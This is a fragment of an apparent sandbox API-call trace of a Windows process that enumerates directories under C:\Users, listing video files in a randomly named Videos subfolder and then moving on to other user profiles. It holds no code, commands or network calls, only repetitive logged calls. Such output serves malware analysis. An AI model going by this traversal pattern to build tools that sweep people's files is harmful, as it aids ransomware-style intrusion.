cFileName="P1LxaHY9ySceM3Qzo", cAlternateFileName="P1LXAH~1")) returned 1 [0080.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e840) returned 1 [0080.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0080.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\", nBufferLength=0x105, lpBuffer=0x1ca2e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\", lpFilePart=0x0) returned 0x47 [0080.515] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\*", lpFindFileData=0x1ca2e4e0 | out: lpFindFileData=0x1ca2e4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6f94700, ftCreationTime.dwHighDateTime=0x1d5de1c, ftLastAccessTime.dwLowDateTime=0xf1f07720, ftLastAccessTime.dwHighDateTime=0x1d5d9d4, ftLastWriteTime.dwLowDateTime=0xf1f07720, ftLastWriteTime.dwHighDateTime=0x1d5d9d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a890 [0080.515] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6f94700, ftCreationTime.dwHighDateTime=0x1d5de1c, ftLastAccessTime.dwLowDateTime=0xf1f07720, ftLastAccessTime.dwHighDateTime=0x1d5d9d4, ftLastWriteTime.dwLowDateTime=0xf1f07720, ftLastWriteTime.dwHighDateTime=0x1d5d9d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.516] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7e4bf0, ftCreationTime.dwHighDateTime=0x1d5da6e, ftLastAccessTime.dwLowDateTime=0x2460bf70, ftLastAccessTime.dwHighDateTime=0x1d5e5b1, ftLastWriteTime.dwLowDateTime=0x2460bf70, ftLastWriteTime.dwHighDateTime=0x1d5e5b1, nFileSizeHigh=0x0, nFileSizeLow=0x1140, dwReserved0=0x0, dwReserved1=0x0, cFileName="1QTt0.mkv", cAlternateFileName="")) returned 1 [0080.516] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c78d50, ftCreationTime.dwHighDateTime=0x1d5e2a9, ftLastAccessTime.dwLowDateTime=0xdf9aa6a0, ftLastAccessTime.dwHighDateTime=0x1d5e379, ftLastWriteTime.dwLowDateTime=0xdf9aa6a0, ftLastWriteTime.dwHighDateTime=0x1d5e379, nFileSizeHigh=0x0, nFileSizeLow=0x5545, dwReserved0=0x0, dwReserved1=0x0, cFileName="5TzzGg_vEN.avi", cAlternateFileName="5TZZGG~1.AVI")) returned 1 [0080.516] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b6e3220, ftCreationTime.dwHighDateTime=0x1d5da17, ftLastAccessTime.dwLowDateTime=0x505896b0, ftLastAccessTime.dwHighDateTime=0x1d5dcfc, ftLastWriteTime.dwLowDateTime=0x505896b0, ftLastWriteTime.dwHighDateTime=0x1d5dcfc, nFileSizeHigh=0x0, nFileSizeLow=0x13cfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pYoNqvAA59vyxs v2L.flv", cAlternateFileName="PYONQV~1.FLV")) returned 1 [0080.516] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ebe540, ftCreationTime.dwHighDateTime=0x1d5d811, ftLastAccessTime.dwLowDateTime=0xdfdf6790, ftLastAccessTime.dwHighDateTime=0x1d5dd75, ftLastWriteTime.dwLowDateTime=0xdfdf6790, ftLastWriteTime.dwHighDateTime=0x1d5dd75, nFileSizeHigh=0x0, nFileSizeLow=0xc287, dwReserved0=0x0, dwReserved1=0x0, cFileName="s_CMZX7P.mkv", cAlternateFileName="")) returned 1 [0080.516] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae288170, ftCreationTime.dwHighDateTime=0x1d5e232, ftLastAccessTime.dwLowDateTime=0x544b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e4d1, ftLastWriteTime.dwLowDateTime=0x544b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e4d1, nFileSizeHigh=0x0, nFileSizeLow=0x13ccd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UxOrvpHts9xsMls Dbz.avi", cAlternateFileName="UXORVP~1.AVI")) returned 1 [0080.517] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae288170, ftCreationTime.dwHighDateTime=0x1d5e232, ftLastAccessTime.dwLowDateTime=0x544b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e4d1, ftLastWriteTime.dwLowDateTime=0x544b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e4d1, nFileSizeHigh=0x0, nFileSizeLow=0x13ccd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UxOrvpHts9xsMls Dbz.avi", cAlternateFileName="UXORVP~1.AVI")) returned 0 [0080.517] FindClose (in: hFindFile=0x1a62a890 | out: hFindFile=0x1a62a890) returned 1 [0080.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e820) returned 1 [0080.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e810) returned 1 [0080.517] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf454780, ftCreationTime.dwHighDateTime=0x1d5e18d, ftLastAccessTime.dwLowDateTime=0xbeaac480, ftLastAccessTime.dwHighDateTime=0x1d5e6b1, ftLastWriteTime.dwLowDateTime=0xbeaac480, ftLastWriteTime.dwHighDateTime=0x1d5e6b1, nFileSizeHigh=0x0, nFileSizeLow=0x1748a, dwReserved0=0x0, dwReserved1=0x0, cFileName="QepoGdVl4LJnbW2.flv", cAlternateFileName="QEPOGD~1.FLV")) returned 1 [0080.517] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bddf8f0, ftCreationTime.dwHighDateTime=0x1d5d9f3, ftLastAccessTime.dwLowDateTime=0x389a2140, ftLastAccessTime.dwHighDateTime=0x1d5d8d0, ftLastWriteTime.dwLowDateTime=0x389a2140, ftLastWriteTime.dwHighDateTime=0x1d5d8d0, nFileSizeHigh=0x0, nFileSizeLow=0x18f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="S5fN-S7H4qJN.swf", cAlternateFileName="S5FN-S~1.SWF")) returned 1 [0080.517] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x629a2640, ftCreationTime.dwHighDateTime=0x1d5d815, ftLastAccessTime.dwLowDateTime=0x8a9dfda0, ftLastAccessTime.dwHighDateTime=0x1d5e7e3, ftLastWriteTime.dwLowDateTime=0x8a9dfda0, ftLastWriteTime.dwHighDateTime=0x1d5e7e3, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="veeGE.flv", cAlternateFileName="")) returned 1 [0080.518] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x629a2640, ftCreationTime.dwHighDateTime=0x1d5d815, ftLastAccessTime.dwLowDateTime=0x8a9dfda0, ftLastAccessTime.dwHighDateTime=0x1d5e7e3, ftLastWriteTime.dwLowDateTime=0x8a9dfda0, ftLastWriteTime.dwHighDateTime=0x1d5e7e3, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="veeGE.flv", cAlternateFileName="")) returned 0 [0080.518] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.518] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7885b990, ftCreationTime.dwHighDateTime=0x1d5df38, ftLastAccessTime.dwLowDateTime=0x8967ed50, ftLastAccessTime.dwHighDateTime=0x1d5d83a, ftLastWriteTime.dwLowDateTime=0x8967ed50, ftLastWriteTime.dwHighDateTime=0x1d5d83a, nFileSizeHigh=0x0, nFileSizeLow=0xfd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IIDimJOmjOAYWyTLEW.swf", cAlternateFileName="IIDIMJ~1.SWF")) returned 1 [0080.518] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb250700, ftCreationTime.dwHighDateTime=0x1d5d947, ftLastAccessTime.dwLowDateTime=0xabbfb6e0, ftLastAccessTime.dwHighDateTime=0x1d5e6a8, ftLastWriteTime.dwLowDateTime=0xabbfb6e0, ftLastWriteTime.dwHighDateTime=0x1d5e6a8, nFileSizeHigh=0x0, nFileSizeLow=0x177d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="lo pSmP.avi", cAlternateFileName="LOPSMP~1.AVI")) returned 1 [0080.518] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71e0710, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0xd7d9d550, ftLastAccessTime.dwHighDateTime=0x1d5d823, ftLastWriteTime.dwLowDateTime=0xd7d9d550, ftLastWriteTime.dwHighDateTime=0x1d5d823, nFileSizeHigh=0x0, nFileSizeLow=0x15213, dwReserved0=0x0, dwReserved1=0x0, cFileName="r6fk5i1SJ8Z_yNOrfe.mkv", cAlternateFileName="R6FK5I~1.MKV")) returned 1 [0080.519] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71e0710, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0xd7d9d550, ftLastAccessTime.dwHighDateTime=0x1d5d823, ftLastWriteTime.dwLowDateTime=0xd7d9d550, ftLastWriteTime.dwHighDateTime=0x1d5d823, nFileSizeHigh=0x0, nFileSizeLow=0x15213, dwReserved0=0x0, dwReserved1=0x0, cFileName="r6fk5i1SJ8Z_yNOrfe.mkv", cAlternateFileName="R6FK5I~1.MKV")) returned 0 [0080.519] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.519] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6590b00, ftCreationTime.dwHighDateTime=0x1d5e048, ftLastAccessTime.dwLowDateTime=0x97e81190, ftLastAccessTime.dwHighDateTime=0x1d5d905, ftLastWriteTime.dwLowDateTime=0x97e81190, ftLastWriteTime.dwHighDateTime=0x1d5d905, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDc2gUgcXDgpN.swf", cAlternateFileName="SDC2GU~1.SWF")) returned 1 [0080.519] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6590b00, ftCreationTime.dwHighDateTime=0x1d5e048, ftLastAccessTime.dwLowDateTime=0x97e81190, ftLastAccessTime.dwHighDateTime=0x1d5d905, ftLastWriteTime.dwLowDateTime=0x97e81190, ftLastWriteTime.dwHighDateTime=0x1d5d905, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDc2gUgcXDgpN.swf", cAlternateFileName="SDC2GU~1.SWF")) returned 0 [0080.519] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.520] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.520] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0080.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9a0) returned 1 [0080.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e990) returned 1 [0080.520] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0080.520] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.520] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.520] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.520] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0080.521] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: 